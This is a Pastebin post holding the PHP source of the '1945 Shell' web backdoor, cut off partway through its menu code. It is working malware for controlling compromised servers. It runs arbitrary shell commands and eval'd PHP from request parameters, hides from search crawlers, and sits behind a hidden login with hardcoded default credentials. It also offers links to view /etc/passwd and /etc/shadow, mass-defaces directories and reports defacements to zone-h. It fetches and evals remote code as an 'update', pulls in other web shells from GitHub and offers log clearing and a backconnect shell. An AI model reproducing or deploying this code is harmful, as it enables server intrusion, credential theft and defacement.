SHARE
TWEET

Shell Backdoor 1945

a guest Oct 4th, 2017 501 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  <?php
  2.  /*
  3. -----------------------------------------------
  4. @ 1945 Shell - 1945v2017 Edition
  5. @ Author         : shutdown57 < alinko >
  6. @ Codename       : Wake Me Up When September Ends
  7. @ Build          : September 2017
  8. @ Default U|P    : shutdown57|asukabeh
  9. -----------------------------------------------
  10. @ Thanks For Support ! & Greetings To :
  11. @ RobinRoot - Silentc0ders - Con7ext - Panda Dot ID - xXx-ID
  12. @ CUMOL0 - Gorillaz.ID - maskamal - milio48 - ./R015 - 0xd3vs
  13. @ s4bun - GH057.ID - m1x - YouKnowWho - SyntaX404 - Bl@ckID
  14. @ LCR999X - Mr.Razier - ML7C - Ashura - Mr.DrimuEx196
  15. @ JavaCodeRulez [JavCode] - IndoXploit - bug7sec
  16. -----------------------------------------------
  17. **/
  18. error_log(0);ob_start();error_reporting(0);set_time_limit(0);@ini_set('error_log',NULL);@ini_set('log_errors',0);@ini_set('max_execution_time',0);@ini_set('output_buffering',0);@ini_set('display_errors', 0);if(!empty($_SERVER['HTTP_USER_AGENT'])){$userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit","ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");if(preg_match('/'.implode('|', $userAgents).'/i',$_SERVER['HTTP_USER_AGENT'])){header('HTTP/1.0 404 Not Found');exit;}}if(strtolower(substr(PHP_OS,0,3)) == "win"){$os = 'win';}else{$os = 'nix';}if(function_exists('set_magic_quotes_runtime')){set_magic_quotes_runtime(0);}session_start();
  19. //-------------------------------- 1945 Shell - 1945v2017 ---------------------------------
  20. //1945 shell configuration
  21. $color_1945   = "#eee";
  22. $versi_1945   = " September "; // version 1945 shell
  23. $hostn_1945   = $_SERVER['HTTP_HOST']; // get hostname from server
  24. $title_1945   = "1945 shell".$versi_1945." ~ ".$hostn_1945; // set title for this shell
  25. $usernm_1945  = "shutdown57"; // default username : shutdown57
  26. $passwd_1945  = "60eb33475c18ff0699c91961e6074b06";// md5 : asukabeh |  Default Password
  27. $session_name = md5($_SERVER['HTTP_HOST']."_session_1945"); // session name
  28. $hidden_login = TRUE; // Hidden login, TRUE or FALSE
  29. $display_src  = "https://raw.githubusercontent.com/alintamvanz/1945shell/master/september-login.html"; // source display hidden login
  30. $loguri_1945  = "?login=1945"; // login url , default : shell.php?login=1945
  31. //End Configuration
  32. //-------------------------------- 1945 Shell - 1945v2017 ---------------------------------
  33.  
  34.  function LoginPage1945(){echo "<div style=\"margin-top:250px;\" align=center><h3>1945v2017 - Login</h3></div>";echo "<form method=\"POST\"><table align=center ><tr><td>";echo "Username :</td><td><input type=\"text\" name=\"usernm_1945\"></td></tr><tr>";echo "<td>Password :</td><td><input type=\"password\" name=\"passwd_1945\"></td></tr><tr><td colspan=2>";echo "<input type=\"submit\" value=\">>\"></td></tr></table></form>";}function login_1945_merdekaataoemati(){$requri=explode("=",str_replace("?","",$GLOBALS['loguri_1945']));if($GLOBALS['hidden_login']===TRUE){if(isset($_GET[$requri[0]])){if($_GET[$requri[0]]==$requri[1]){LoginPage1945();}}else {print(file_get_contents($GLOBALS['display_src']));}exit();}elseif($GLOBALS['hidden_login']===FALSE){LoginPage1945();exit();}else {echo "hello there,shutdown57 !";exit();}}if(!isset($_SESSION[$session_name])){if(empty($passwd_1945)||(empty($usernm_1945))||(isset($_POST['passwd_1945'])&&(md5($_POST['passwd_1945']))==$passwd_1945)&&(isset($_POST['usernm_1945'])&&($_POST['usernm_1945'])==$usernm_1945)){$_SESSION[$session_name]=true;}else {login_1945_merdekaataoemati();}}class Html45{ public function show($str){return print($str);} public function h1($t){$h="<h1>";$h.=$t;$h.="</h1>";return $h;} public function th($t){$th="<th>";$th.=$t;$th.="</th>";return $th;} public function tr($t){$tr="<tr>";$tr.=$t;$tr.="</tr>";return $tr;} public function td($t){$td="<td>";$td.=$t;$td.="</td>";return $td;} public function html($tytyd){$html="<!DOCTYPE HTML><html><head>";$html.="<title>".$tytyd."</title>";$html.="<link rel=\"icon\" href=\"http://www.animatedimages.org/data/media/781/animated-indonesia-flag-image-0013.gif\">";$html.="<style>@import url('https://fonts.googleapis.com/css?family=Asap');*{font-family:Asap}body{font-size:13px;background:#000;color:".$GLOBALS['color_1945'].";}.a_exp{border:1px solid #02456f;border-collapse: collapse;width:100%}.a_exp tr:hover{background:#02456f;}.a_exp tr:nth-child(even){background:#222}.a_exp tr:nth-child(even):hover{background:#02456f} a{text-decoration: none;color:#eee;}.a_exp a{color:#eee;}.a_exp a:hover{text-decoration: underline;}.a_exp th{background:#eee;color:#02456f;font-weight:bold}a:hover{border-bottom:1px solid #02456f;}.input_m{border:1px solid #02456f;color:#eee;width:250px;background:#000}.submit_m{color:#eee;border:1px solid #02456f;background:#000}.submit_m:hover{border:1px solid #eee}.input_m:hover,.input_m:focus{border-bottom:1px solid #eee}.txtarea_m{margin-left:30px;border:0; border-left:2px solid #02456f;color:#eee;width:98%;height:360px;background:#000}.code{margin-left:40px;border-left:2px solid #eee}.table .kiri{border-right:2px solid #eee;padding-right:30px;}ul{list-style:none;background:#333;}ul li{padding:5px;display:inline-block;}.action{margin-left:40px;border-left:2px solid #eee;padding:2px}.table{font-size:13px}.right{float:right;position:absolute;right:0;top:0;padding:10px;margin:10px;}hr{border:1px solid #eee}</style><script type='text/javascript'>function cmd45(){document.getElementById('menu').style.display='none';document.getElementById('cmdx').style.display='block';}</script>";$html.="<meta name=\"author\" content=\"shutdown57 a.k.a alinko\">";$html.="</head><body>";return $html;} public function a($href,$displ,$attr){$a="<a href=\"".$href."\" ".$attr.">";$a.=wordwrap($displ,60,"\n",TRUE);$a.="</a>";return $a;} public function pre($c){$p="<pre>";$p.=$c;$p.="</pre>";return $p;} public function form($method,$input){$form="<form method=\"".$method."\">";$form.=$input;$form.="</form>";return $form;} public function input($type,$name,$attr,$label){$input="<label for=\"".$name."\">".$label."</label> : ";$input.="<input type=\"".$type."\"";$input.="name=\"".$name."\"";$input.=$attr;$input.=" class=\"input_m\">";return $input;} public function submit($name,$attr){$sbmt="<input type=\"submit\"";$sbmt.="name=\"".$name."\"";$sbmt.=$attr;$sbmt.=" class=\"submit_m\">";return $sbmt;} public function textarea($name,$content,$attr){$txt="<textarea name=\"".$name."\"";$txt.="class=\"txtarea_m\"";$txt.=$attr;$txt.=">";$txt.=$content;$txt.="</textarea>";return $txt;} public function actdone(){$this->show("<div class=\"alert_m\"><b>has a job well done !</b></div>");$this->show("What do you want to go back? [<a href=\"javascript:history.go(-1);\">Yes</a> | <a href=\"?_index\">No</a>]");} public function actfail(){$this->show("<div class=\"alert_x\"><b>the task could not be finished :( , Something Wrong!</b></div>");$this->show("What do you want to go back? [<a href=\"javascript:history.go(-1);\">Yes</a> | <a href=\"?_index\">No</a>]");} public function ul($l){$li="<ul>";$li.=$l;$li.="</ul>";return $li;} public function li($ll){$ul="<li>";$ul.=$ll;$ul.="</li>";return $ul;} public function select($name,$opt,$o){$s="<select name=\"".$name."\" ".$o.">";$s.=$opt;$s.="</select>";return $s;} public function option($val,$sh){$o="<option value=\"".$val."\">";$o.=$sh;$o.="</option>";return $o;} public function footer(){$foot="<div style=\"margin-top:69px;\" align=\"center\">";$foot.="copyright &copy; ".date('Y');$foot.=" indonesianpeople | 1945v2017 by :";$foot.=$this->a("https://facebook.com/JKT48.co","shutdown57","target=\"_blank\"");$foot.="</div>";return $foot;}}class FileMan45{ public function Spath(){if(isset($_GET['__merdeka__'])){$d=($_GET['__merdeka__']=='..')?str_replace("..",getcwd(),$_GET['__merdeka__']):$_GET['__merdeka__'];if(!isset($_GET['__action__'])||$_GET['__action__']=="cmd"){@chdir($_GET['__merdeka__']);}}else {if(isset($_GET['__files__'])){$d=dirname($_GET['__files__']);}else {if(function_exists('getcwd')){$d=getcwd();}else {$d=__DIR__;}}}return $d;} public function ScanDir($p){if(function_exists('scandir')){$s=scandir($p);}else {echo "<center><h1>1945v2017 Shell</h1><p>Scandir() function not exist in this server, You Can use command \"shell.php?cmd=ls -lia\" for execute shell,<br /> Or \"shell.php?eval=phpinfo()\" for execute php";if(isset($_REQUEST['cmd'])||$_REQUEST['eval']){echo "<pre>";system($_REQUEST['cmd']);echo "</pre>";eval($_REQUEST['eval']);}exit;}return $s;} public function getfsize($files){$size=filesize($files)/1024;$size=round($size,3);if($size>1024){$size=round($size/1024,2).'MB';}else {$size=$size.'KB';}return $size;} public function getfilemtime($f){$a_fdm=@date("Y-m-d H:i:s",filemtime($f));return $a_fdm;} public function getmime($f){if(function_exists('mime_content_type')){if(is_readable($f)){$mime=mime_content_type($f);}else {$mime="Unknown";}}else {if(is_dir($f)){$mime="Directory";}elseif(is_file($f)){$mime="Files";}else {$mime="Unknown";}}return $mime;} public function getowner($path){if(function_exists('posix_getpwuid')){$downer=@posix_getpwuid(fileowner($path));$downer=$downer['name'];}else {$downer=fileowner($path);}return $downer;} public function getgroup($path){if(function_exists('posix_getgrgid')){$dgrp=@posix_getgrgid(filegroup($path));$dgrp=$dgrp['name'];}else {$dgrp=filegroup($path);}return $dgrp;} public function getperms($file){$perms=fileperms($file);if(($perms&0xC000)==0xC000){$info='s';}elseif(($perms&0xA000)==0xA000){$info='l';}elseif(($perms&0x8000)==0x8000){$info='-';}elseif(($perms&0x6000)==0x6000){$info='b';}elseif(($perms&0x4000)==0x4000){$info='d';}elseif(($perms&0x2000)==0x2000){$info='c';}elseif(($perms&0x1000)==0x1000){$info='p';}else {$info='u';}$info.=(($perms&0x0100)?'r':'-');$info.=(($perms&0x0080)?'w':'-');$info.=(($perms&0x0040)?(($perms&0x0800)?'s':'x'):(($perms&0x0800)?'S':'-'));$info.=(($perms&0x0020)?'r':'-');$info.=(($perms&0x0010)?'w':'-');$info.=(($perms&0x0008)?(($perms&0x0400)?'s':'x'):(($perms&0x0400)?'S':'-'));$info.=(($perms&0x0004)?'r':'-');$info.=(($perms&0x0002)?'w':'-');$info.=(($perms&0x0001)?(($perms&0x0200)?'t':'x'):(($perms&0x0200)?'T':'-'));return $info;} public function viewfile($f){$file=wordwrap(file_get_contents($f),150,"\n",true);$a=highlight_string($file,true);$old=array("0000BB","000000","FF8000","DD0000","007700");$new=array("81FF00","e1e1e1","333333","ffffff","FF8000");$a=str_ireplace($old,$new,$a);$result="<div class=\"code\">";$result.=$a;$result.="</div>";return $result;} public function currentdir($path,$goto){$dir=str_replace("\\","/",$path);$dir=explode("/",$dir);foreach($dir as $o=>$i){if($i==""&&$o==0){echo "<a href='?".$goto."=/'>/</a>";continue;}if($i=="")continue;echo "<a href='?".$goto."=";for($p=0;$p<=$o;$p++){echo $dir[$p];if($p!=$o){echo "/";}}echo "'>".$i."</a>/";}if(is_writable($path)){echo "- [<b><font color=lime>W</font></b>] [<a href='?__merdeka__=".$path."&__action__=update' target='_blank'><b>UPDATE</b></a>]";}elseif(is_readable($path)){echo "- [<b><font color=red>R</font></b>]";}else {echo "- [<b><font color=grey>Unknown</font></b>]<meta http-equiv='refresh' content='4;url=?'>";}} public function actiondir($p){$h=new Html45();$a=$h->a("?__merdeka__=".$p."&__action__=rename","ren","");$a.=" | ";$a.=$h->a("?__merdeka__=".$p."&__action__=delete","del","");$a.=" | ";$a.=$h->a("?__merdeka__=".$p."&__action__=mkdir","newDir","");$a.=" | ";$a.=$h->a("?__merdeka__=".$p."&__action__=touch","newFile","");return $a;} public function actionfile($p){$h=new Html45();$a=$h->a("?__files__=".$p."&__action__=rename","ren","");$a.=" | ";$a.=$h->a("?__files__=".$p."&__action__=delete","del","");$a.=" | ";$a.=$h->a("?__files__=".$p."&__action__=edit","edit","");$a.=" | ";$a.=$h->a("?__files__=".$p."&__action__=hex","hex");$a.=" | ";$a.=$h->a("?__files__=".$p."&__action__=dl","download","");return $a;}static function cmd($cmd){if(function_exists('system')){@ob_start();@system($cmd);$buff=@ob_get_contents();@ob_end_clean();return $buff;}elseif(function_exists('exec')){@exec($cmd,$results);$buff="";foreach($results as $result){$buff.=$result;}return $buff;}elseif(function_exists('passthru')){@ob_start();@passthru($cmd);$buff=@ob_get_contents();@ob_end_clean();return $buff;}elseif(function_exists('shell_exec')){$buff=@shell_exec($cmd);return $buff;}}}class SysInfo45{ public function servis(){$mysql=(function_exists('mysql_connect'))?"<font color=lime>ON</font>":"<font color=red>OFF</font>";$mysqli=(function_exists('mysqli_connect'))?"<font color=lime>ON</font>":"<font color=red>OFF</font>";$curl=(function_exists('curl_init'))?"<font color=lime>ON</font>":"<font color=red>OFF</font>";$perl=(FileMan45::cmd('perl --help'))?"<font color=lime>ON</font>":"<font color=red>OFF</font>";$py=(FileMan45::cmd('python --help'))?"<font color=lime>ON</font>":"<font color=red>OFF</font>";$sh=(FileMan45::cmd('bash --version'))?"<font color=lime>ON</font>":"<font color=red>OFF</font>";$wg=(FileMan45::cmd('wget --help'))?"<font color=lime>ON</font>":"<font color=red>OFF</font>";$s="MySQL : ";$s.=$mysql."<font color=red> | </font>";$s.="MySQLi : ";$s.=$mysqli."<font color=red> | </font>";$s.="Wget : ".$wg."<font color=red> | </font>";$s.="CURL : ";$s.=$curl."<font color=red> | </font>";$s.="Perl : ";$s.=$perl."<font color=red> | </font>";$s.="Python : ";$s.=$py."<font color=red> | </font>";$s.="Bash : ";$s.=$sh."";return $s;} public function ipsercli(){$ip="IP Server : ";$ip.=gethostbyname($_SERVER['HTTP_HOST']);$ip.=" <font color=red>|</font> ";$ip.="IP Client : ";$ip.=$_SERVER['REMOTE_ADDR'];return $ip;} public function usergroup($p){if(!function_exists('posix_getegid')){$user=@get_current_user();$uid=@getmyuid();$gid=@getmygid();$group="?";}else {$uid=@posix_getpwuid(posix_geteuid());$gid=@posix_getgrgid(posix_getegid());$user=$uid['name'];$uid=$uid['uid'];$group=$gid['name'];$gid=$gid['gid'];}$u="User :<b> ".$user."</b> [".$uid."] <font color=red>||</font> Group :<b> ".$group."</b> [".$gid."]";return $u;} public function gethost(){$host=$_SERVER['HTTP_HOST'];$h="Hostname : ";$h.=preg_replace("/^www./","",$host);return $h;} public function gethddsize($s){if($s>=1073741824)return sprintf('%1.2f',$s/1073741824).' GB';elseif($s>=1048576)return sprintf('%1.2f',$s/1048576).' MB';elseif($s>=1024)return sprintf('%1.2f',$s/1024).' KB';else return $s.' B';} public function disablefunc(){if(ini_get('disable_functions')){$df=wordwrap(ini_get('disable_functions'),100,"\n",true);}else {$df=" <font color=red>NONE :)</font>";}return $df;} public function hddsize($p){$hdd="HDD : ";$hdd.=$this->gethddsize(disk_total_space($p))-$this->gethddsize(diskfreespace($p));$hdd.=" / ";$hdd.=$this->gethddsize(disk_total_space($p));$hdd.=" | ";$hdd.="[<b> Free : ";$hdd.=$this->gethddsize(diskfreespace($p));$hdd.="</b> ]";return $hdd;} public function uname(){$uname="System :";$uname.=php_uname();return $uname;} public function phpv(){$php="PHP Version :";$php.=phpversion();return $php;} public function SecInfo(){echo "<div style=\"font-size:13px\">";if(preg_match("/Linux/",php_uname())){$ss="Server Software : <b>";$ss.=$_SERVER['SERVER_SOFTWARE']."</b><br />";echo $ss;if(preg_match("/Apache/",$ss)){$sz="Apache Loaded Module : <b>";$lm=apache_get_modules();$sz.=wordwrap(implode("<b><font color=red> - </font></b>",$lm),69,"\n",true)."</b>";$sz.="<br />";$sz.="Apache Version : <b>";$sz.=apache_get_version()."</b><br />";echo $sz;}$ds="PHP Disable functions : <b>";$ds.=$this->disablefunc()."</b>";echo $ds;echo "<br /><br />";$etc="Readable /etc/passwd : ";$etc.=(is_readable("/etc/passwd"))?"<font color=lime> YES </font>[<a href='?__files__=/etc/passwd&__action__=view'>View</a>]":"<font color=red> NO </font>";$etc.="<br />";$etc.="Readable /etc/shadow : ";$etc.=(is_readable("/etc/shadow"))?"<font color=lime> YES </font>[<a href='?__files__=/etc/shadow&__action__=view'>View</a>]":"<font color=red> NO </font>";echo $etc;$phpini="<br />Readable php.ini : ";$phpini.=(is_readable(php_ini_loaded_file()))?"<font color=lime>YES</font> [<a href='?__files__=".php_ini_loaded_file()."&__action__=view';>View</a>]":"<font color=red>NO</font>";echo $phpini;$oo="<pre class=\"code\">";$oo.="HDD Space :<br /><b>";$oo.=FileMan45::cmd("df -h");$oo.="</pre><pre class=\"code\">";$oo.="Hosts : <br /><b>";$oo.=FileMan45::cmd("cat /etc/hosts");$oo.="</pre></b></b>";echo $oo;}else {echo "<center><h1>But,The System Use Windows Server :(</h1></center>";}echo "</div>";}}class Act45{ public function bing($dork){$npage=1;$npages=30000;$allLinks=array();$lll=array();while($npage<=$npages){$x=getsource("http://www.bing.com/search?q=".$dork."&first=".$npage);if($x){preg_match_all('#<h2><a href="(.*?)" h="ID#',$x,$findlink);foreach($findlink[1] as $fl)array_push($allLinks,$fl);$npage=$npage+10;if(preg_match("(first=".$npage."&amp)siU",$x,$linksuiv)==0)break;}else break;}$URLs=array();foreach($allLinks as $url){$exp=explode("/",$url);$URLs[]=$exp[2];}$array=array_filter($URLs);$array=array_unique($array);$sss=count(array_unique($array));foreach($array as $domain){echo $domain."\n";}} public function update45(){$getu=file_get_contents("https://raw.githubusercontent.com/alintamvanz/1945shell/master/update.1945");@eval($getu);if($update=="YES"){$result_upt="<b><i> UPDATE AVAILABLE !!! </i></b><br />";$result_upt.="<b><big> Update Info </big></b><pre>";$result_upt.="<li> Version  : ".$version."</li>";$result_upt.="<li> Release  : ".$releasedate."</li>";$result_upt.="<li> Codename : ".$codename."</li>";$result_upt.="<li> Build    : ".$build."</li>";$result_upt.="<li> Status   : ".$status."</li>";$result_upt.="<li> Author   : ".$author."</li>";$result_upt.="<li> Email    : ".$email."</li></pre>";$getshell=file_get_contents("https://raw.githubusercontent.com/alintamvanz/1945shell/master/1945.php");if(@file_put_contents($_SERVER['SCRIPT_FILENAME'],file_get_contents(htmlspecialchars("https://raw.githubusercontent.com/alintamvanz/1945shell/master/1945.php")))){$result_upt.="<hr><center><h3><b> Successfully Update !! </b></h3><p> Thanks Your For Supporting Us !</p></center><hr>";}else {$result_upt.="<hr><center><h3><b> Failed to update :( </b></h3></center><hr>";}}elseif($update=="NONE"){$result_upt.="<b><i> YOU USING NEWEST VERSION </i></b><br />";$result_upt.="<b> Update not available !</b>";}elseif($update=="BUILD"){$result_upt.="<b><i> 1945Shell Status Build Proccess !</i></b>";}else {$result_upt.="<b> FAILED TO CHECK FOR UPDATE :( </b>";}return $result_upt;} public function getStr45($param,$kata1,$kata2){if(strpos($param,$kata1)===FALSE)return FALSE;if(strpos($param,$kata2)===FALSE)return FALSE;$start=strpos($param,$kata1)+strlen($kata1);$end=strpos($param,$kata2,$start);$return=substr($param,$start,$end-$start);return $return;} public function Stamp45($fname,$ffname,$nick,$pesan,$mail){if(file_exists($fname)){@rename($fname,$ffname);$ppq1=array("%nick%","%kata%","%email%");$ppq2=array($nick,$pesan,$mail);$cont=str_replace($ppq1,$ppq2,file_get_contents(htmlspecialchars($ffname)));return file_put_contents($ffname,$cont);}} public function HexDump45($data){static $from='';static $to='';static $width=16;static $pad='.';if($from===''){for($i=0;$i<=0xFF;$i++){$from.=chr($i);$to.=($i>=0x20&&$i<=0x7E)?chr($i):$pad;}}$hex=str_split(bin2hex($data),$width*2);$chars=str_split(strtr($data,$from,$to),$width);$offset=0;echo "<table class='a_exp'>";foreach($hex as $i=>$line){echo "<tr><td>".sprintf('%6X',$offset).' </td><td> '.implode(' ',str_split($line,2)).'</td><td> '.$chars[$i].'</td></tr>';$offset+=$width;}echo "</table>";} public function zoneh45($url,$nick){$ch=curl_init("http://www.zone-h.com/notify/single");curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);curl_setopt($ch,CURLOPT_POST,true);curl_setopt($ch,CURLOPT_POSTFIELDS,"defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");return curl_exec($ch);curl_close($ch);} public function reverse($url){$ch=curl_init("http://domains.yougetsignal.com/domains.php");curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_POSTFIELDS,"remoteAddress=$url&ket=");curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,CURLOPT_POST,1);$resp=curl_exec($ch);$resp=str_replace("[","",str_replace("]","",str_replace("\"\"","",str_replace(", ,",",",str_replace("{","",str_replace("{","",str_replace("}","",str_replace(", ",",",str_replace(", ",",",str_replace("'","",str_replace("'","",str_replace(":",",",str_replace('"','',$resp)))))))))))));$array=explode(",,",$resp);unset($array[0]);foreach($array as $lnk){$lnk="http://$lnk";$lnk=str_replace(",","",$lnk);$re.=$lnk."\n";ob_flush();flush();}curl_close($ch);return $re;} public function MassDeface45($fname,$dname,$script){if(is_writable($dname)){$dira=scandir($dname);foreach($dira as $dirb){$dirc="$dname/$dirb";$lokasi=$dirc.'/'.$fname;if($dirb==='.'){file_put_contents($lokasi,$script);}elseif($dirb==='..'){file_put_contents($lokasi,$script);}else {if(is_dir($dirc)){if(is_writable($dirc)){echo "<p align=left>[<font color=lime>D E F A C E</font>] $dirb/$fname</p>";file_put_contents($lokasi,$script);}else {echo "<p align=left>[<font color=red>F A I L E D</font>] $dirb/$fname </p>";}}}}}} public function getsource($url){$curl=curl_init($url);curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);curl_setopt($curl,CURLOPT_FOLLOWLOCATION,true);curl_setopt($curl,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($curl,CURLOPT_SSL_VERIFYHOST,false);$content=curl_exec($curl);curl_close($curl);return $content;} public function getdomainname(){$fopen=fopen("/etc/named.conf","r");while($read=fgets($fopen)){preg_match_all("#/var/named/(.*?).db#",$read,$getdomain);$domain[]=$getdomain[1][0];}return $domain;} public function CekConf(){if(!preg_match("/1945.conf/i",$_SERVER['REQUEST_URI'])){echo "<center><b>Directory COnfig not Found :( </b><br /> <i> Please, <a href='?__merdeka__=".getcwd()."&__action__=config'>Click Here</a> For get Config</i>";}} public function getuser(){$fopen=fopen("/etc/passwd","r") or die("Can't read /etc/passwd");while($read=fgets($fopen)){preg_match_all('/(.*?):x:/',$read,$getuser);$user[]=$getuser[1][0];}return $user;} public function upload($a,$b){if(function_exists('move_uploaded_file')){$upl=move_uploaded_file($a,$b);}elseif(function_exists('copy')){$upl=copy($a,$b);}return $upl;} public function array_upload($file){$file_ary=array();$file_count=count($file['name']);$file_key=array_keys($file);for($i=0;$i<$file_count;$i++){foreach($file_key as $val){$file_ary[$i][$val]=$file[$val][$i];}}return $file_ary;} public function simpantext($o,$k){$fp=fopen($o,"w");$o=fwrite($fp,$k);$o.=fclose($fp);return $o;} public function delete($dir){if(is_dir($dir)){if(!rmdir($dir)){$s=scandir($dir);foreach($s as $ss){if(is_file($dir."/".$ss)){if(unlink($dir."/".$ss)){$rm=rmdir($dir);}}if(is_dir($dir."/".$ss)){$rm=rmdir($dir."/".$ss);$rm.=rmdir($dir);$rm.=system('rm -rf '.$dir);}}}}elseif(is_file($dir)){$rm=unlink($dir);if(!$rm){system('rm -rf '.$dir);}}return $rm;} public function mkdirr($dir,$nd){if(is_writable($dir)){if(function_exists('mkdir')){$mkdir=mkdir($dir."/".$nd);}else {$mkdir=@system('mkdir '.$dir.'/'.$nd);}}return $mkdir;} public function renamet($old,$new){if(function_exists('rename')){$rename=rename($old,$new);}else {$rename=@system('mv '.$old.' '.$new.'');}return $rename;} public static function getscript($isi,$url){$fp=fopen($isi,"w");$ch=curl_init();curl_setopt($ch,CURLOPT_URL,$url);curl_setopt($ch,CURLOPT_BINARYTRANSFER,1);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,0);curl_setopt($ch,CURLOPT_FILE,$fp);return curl_exec($ch);curl_close($ch);fclose($fp);ob_flush();flush();} public function getcontent($url){$curl=curl_init($url);curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);curl_setopt($curl,CURLOPT_SSL_VERIFYPEER,0);curl_setopt($curl,CURLOPT_SSL_VERIFYHOST,0);$content=curl_exec($curl);curl_close($curl);return $content;} public function kuchiyose($nama){$source=array("kuchiyose_wso"=>"https://raw.githubusercontent.com/alintamvanz/webshell/master/ext/wso.php","kuchiyose_b374k"=>"https://raw.githubusercontent.com/alintamvanz/webshell/master/ext/b374k.php","kuchiyose_idx"=>"https://raw.githubusercontent.com/alintamvanz/webshell/master/ext/indoxploit.php","kuchiyose_ayana"=>"https://raw.githubusercontent.com/alintamvanz/webshell/master/ayana.php","kuchiyose_lc"=>"https://raw.githubusercontent.com/alintamvanz/webshell/master/linuxcode.php","kuchiyose_wa"=>"https://raw.githubusercontent.com/alintamvanz/webshell/master/ext/webadmin.php","kuchiyose_1945"=>"https://raw.githubusercontent.com/alintamvanz/webshell/master/1945.php","kuchiyose_r57"=>"https://raw.githubusercontent.com/alintamvanz/webshell/master/ext/r57.php","kuchiyose_it"=>"https://raw.githubusercontent.com/alintamvanz/webshell/master/ext/itsec.php","kuchiyose_c99"=>"https://raw.githubusercontent.com/alintamvanz/webshell/master/ext/c99.php","kuchiyose_ms"=>"https://raw.githubusercontent.com/alintamvanz/webshell/master/ext/mini-shell.php","kuchiyose_symsa"=>"https://raw.githubusercontent.com/alintamvanz/webshell/master/ext/symlinksa.php","kuchiyose_adminer"=>"https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","kuchiyose_noname"=>"https://raw.githubusercontent.com/rintoar/shell_backdoor/master/nonamesource.txt");if(is_writable(getcwd())){if(!file_exists('1945_kcy')){$alert="Creating Directory <b>1945_kcy</b> ...";sleep(2);if(@mkdir('1945_kcy')){$alert="<script>alert('Directory Created !');</script><meta http-equiv='refresh' content=0;url=>";}}else {if(!file_exists('1945_kcy/'.$nama.'.php')){if(Act45::getscript("1945_kcy/".$nama.".php",$source[$nama])){$alert="<b><font color=lime>kuchiyose No Jutsu !</font></b><br />";$alert.="File : <a href='1945_kcy/".$nama.".php' target='_blank'>1945_kcy/".$nama.".php</a> <b>Successfully imported</b> ";}else {$alert="<b><font color=red>kuchiyose No Jutsu !</font></b><br />";$alert.="File : 1945_kcy/".$nama.".php <b> Can't Proccess !</b>";}}else {$alert="<b><font color=green>kuchiyose No Jutsu !</font></b><br />";$alert.="File : 1945_kcy/".$nama.".php <b>Something problem !</b> ";}}}else {$alert="Directory : <b><i>".getcwd()."</i></b><font color=red> Not Writable :(<br />";$alert.="Can't Proccess Request !</font>";$alert.="<script>alert('Cant Proccess Request ! - Directory not Writable!');</script>";}return $alert;}}$html=new Html45();$fileman=new FileMan45();$sysfo=new SysInfo45();$act=new Act45();$dir=$fileman->Spath();$scandir=$fileman->ScanDir($dir);$no=1;$html->show($html->html($title_1945));$ak="?__merdeka__=$dir&__action__=";$sysinfomerdekaee="<pre>";$sysinfomerdekaee.=$sysfo->uname()."<br />";$savemode=(@ini_get(strtolower("safe_mode"))=='on')?"<font color=red>ON</font>":"<font color=lime>OFF</font>";$sysinfomerdekaee.=$sysfo->gethost();$sysinfomerdekaee.=" | Safe Mode : ".$savemode."<br />";$sysinfomerdekaee.="Server Software : ".$_SERVER['SERVER_SOFTWARE']."<br />";$sysinfomerdekaee.="PHP Version :".phpversion()." - [<a href='?__merdeka__=$dir&__action__=infophp'>PHPINFO</a>]<br />";$sysinfomerdekaee.=$sysfo->ipsercli()."<br />";$sysinfomerdekaee.=$sysfo->hddsize($dir)."<br />";$sysinfomerdekaee.=$sysfo->usergroup($dir)."<br />";$sysinfomerdekaee.=$sysfo->servis()."<br />";$sysinfomerdekaee.="Disable functions :".$sysfo->disablefunc();$sysinfomerdekaee.="</pre><div class='right'>";$sysinfomerdekaee.="[ ".$html->a("?ngewe","FileMan","")." ]";$sysinfomerdekaee.="[ ".$html->a("?__merdeka__=$dir&__action__=clogs","Clear logs","")." ]";$sysinfomerdekaee.="[ ".$html->a("?__merdeka__=$dir&__action__=setting","Settings")." ]";$sysinfomerdekaee.="[ ".$html->a("?__merdeka__=$dir&__action__=killme","Kill Me","")." ]";$sysinfomerdekaee.="</div>";$html->show("<script>function tukar_om(a,b){document.getElementById(a).style.display='none'; document.getElementById(b).style.display='block';}</script>");$html->show("<table class=\"table\">");$html->show($html->tr($html->td("<img src=\"http://alintamvanz.github.io/images/septemberversion1945.png\"  style=\"width:150px;height:150px\" class=\"kiri\">").$html->td($sysinfomerdekaee)));$html->show("</table>");$html->show("<div id=\"lama\"><a href=\"javascript:tukar_om('lama','baru');\" > Current Dir :");$fileman->currentdir($fileman->Spath(),"__merdeka__");$inpux=$html->input("text","__merdeka__","value=\"".$dir."\" autocomplete=\"off\"","Go to dir :");$inpux.=$html->submit("","value=\">>\"");$form=$html->form("GET",$inpux);$html->show("</div><div id=\"baru\"   style=\"display:none\">".$form."</div>");$html->show("<hr>");$li=$html->li("[ ".$html->a("?_","Home","")." ]");$li.=$html->li("[ ".$html->a($ak."sec","Sec. Info","System Security Info")." ]");$li.=$html->li("[ ".$html->a("javascript:cmd45();","Command","title=\"Execute command\"")." ]");$li.=$html->li("[ ".$html->a("javascript:tukar_om('menu','upload');","Upload","title=\"Upload file in the server\"")." ]");$li.=$html->li("[ ".$html->a($ak."sql","SQL","title=\"Connect to SQL\"")." ]");$li.=$html->li("[ ".$html->a($ak."php#code","PHP","title=\"Execute PHP\"")." ]");$li.=$html->li("[ ".$html->a($ak."ps","PS","title=\"Display Proccess status\"")." ]");$li.=$html->li("[ ".$html->a($ak."str","String Tools","Encode & Decode Tools")." ]");$li.=$html->li("[ ".$html->a($ak."net","Remote Shell","title=\"Backconnect & Bind Port\"")." ]");$li.=$html->li("[ 